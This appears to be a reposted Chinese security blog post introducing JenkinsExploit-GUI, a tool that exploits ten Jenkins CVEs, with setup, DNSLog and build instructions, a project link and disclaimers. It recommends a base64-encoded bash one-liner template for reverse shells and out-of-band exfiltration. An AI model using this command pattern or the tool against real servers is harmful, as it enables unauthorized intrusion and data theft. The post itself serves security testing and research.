文章总结： 文章介绍了一款名为JenkinsExploit-GUI的综合漏洞利用工具，覆盖2015至2024年间10个关键CVE漏洞，涉及反序列化RCE及任意文件读取等。工具支持跨平台运行、外置payload及DNSLog配置，并提供了详细的JDK环境配置、源码打包及使用指南。作者强调工具仅供学习与授权测试，严禁非法利用，并附带了项目地址及威胁情报群信息，为Jenkins安全检测提供了便捷的实战化方案。 综合评分： 72 文章分类： 安全工具,漏洞POC,渗透测试,漏洞分析,实战经验

支持10个CVE！Jenkins综合漏洞利用工具覆盖2015-2024全版本

0xSecDebug 0xSecDebug

0xSecDebug

2026年2月15日 13:51 中国香港

JenkinsExploit-GUI

    请勿利用文章内的相关技术从事非法渗透测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具和内容均来自网络，仅做学习和记录使用，安全性自测，如有侵权请联系删除。

项目地址在文章底部哦

一款Jenkins综合漏洞利用工具

使用

jdk版本

在windows或linux使用jdk8的哪一个版本应该都可以,在macOS里如果出现了找不到主类的错误,可能是因为当前java版本没有jfxrt.jar包,可以把这个jar包放在类似F:\java8\jdk1.8.0_102\jre\lib\ext这样的目录下 jfxrt.jar包在JenkinsExploit-GUI项目源码中可以单独下载下来

外置payload

从release下载windows_tools,linux_tools或macOS_tools并放在与JenkinsExploit-GUI-*-SNAPSHOT.jar相同的目录,或者可以自行打包tools_source中的python源码文件

如果是linux或macOS的话需要对外置payload进行chmod +x 赋予权限 

dnslog配置

进行dnslog设置,目前仅支持dnslog.pw和ceye.io

进行检测

• 在验证无回显命令执行的时候为了避免转义问题,推荐用如下方式进行反弹shell和dnslog外带信息

bash -c {echo,Y....}|{base64,-d}|{bash,-i}

支持检测:

• CVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行 https://github.com/Medicean/VulApps/tree/master/j/jenkins/1
• CVE-2016-0792 Jenkins XStream反序列化远程代码执行 https://github.com/jpiechowka/jenkins-cve-2016-0792
• CVE-2017-1000353 Jenkins-CI 远程代码执行漏洞 https://github.com/vulhub/CVE-2017-1000353
• CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露
• CVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞 https://github.com/orangetw/awesome-jenkins-rce-2019
• CVE-2018-1999002 Jenkins 任意文件读取 https://mp.weixin.qq.com/s/MOKeN1qEBonS8bOLw6LH_w
• CVE-2019-1003000 Jenkins 远程代码执行 https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
• CVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过) https://github.com/orangetw/awesome-jenkins-rce-2019
• CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞 https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897

未完待续:

• CVE-2016-9299 Jenkins ldap反序列化远程代码执行,添加poc
• CVE-2017-1000353 无法检测的bug
• 继续尝试把外置的payload接入到java代码中
• 添加批量检测功能

源码打包

mvn clean package -DskipTests
cd target
zip -d  JenkinsExploit-GUI-*-SNAPSHOT.jar 'META-INF/*.SF' 'META-INF/*.RSA' 'META-INF/*DSA'

📖 项目地址

https://github.com/TheBeastofwar/JenkinsExploit-GUI?tab=readme-ov-file

💻 威胁情报推送群

  如果师傅们想要第一时间获取到最新的威胁情报，可以添加下面我创建的钉钉漏洞威胁情报群，便于师傅们可以及时获取最新的IOC。

 如果师傅们想要获取网络安全相关知识内容，可以添加下面我创建的网络安全全栈知识库，便于师傅们的学习和使用：

    覆盖渗透、安服、运营、代码审计、内网、移动、应急、工控、AI/LLM、数据、业务、情报、黑灰产、SOC、溯源、钓鱼、区块链等  方向，内容还在持续整理中……。

点分享

点收藏

点在看

点点赞

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：0xSecDebug 0xSecDebug 0xSecDebug《支持10个CVE！Jenkins综合漏洞利用工具覆盖2015-2024全版本》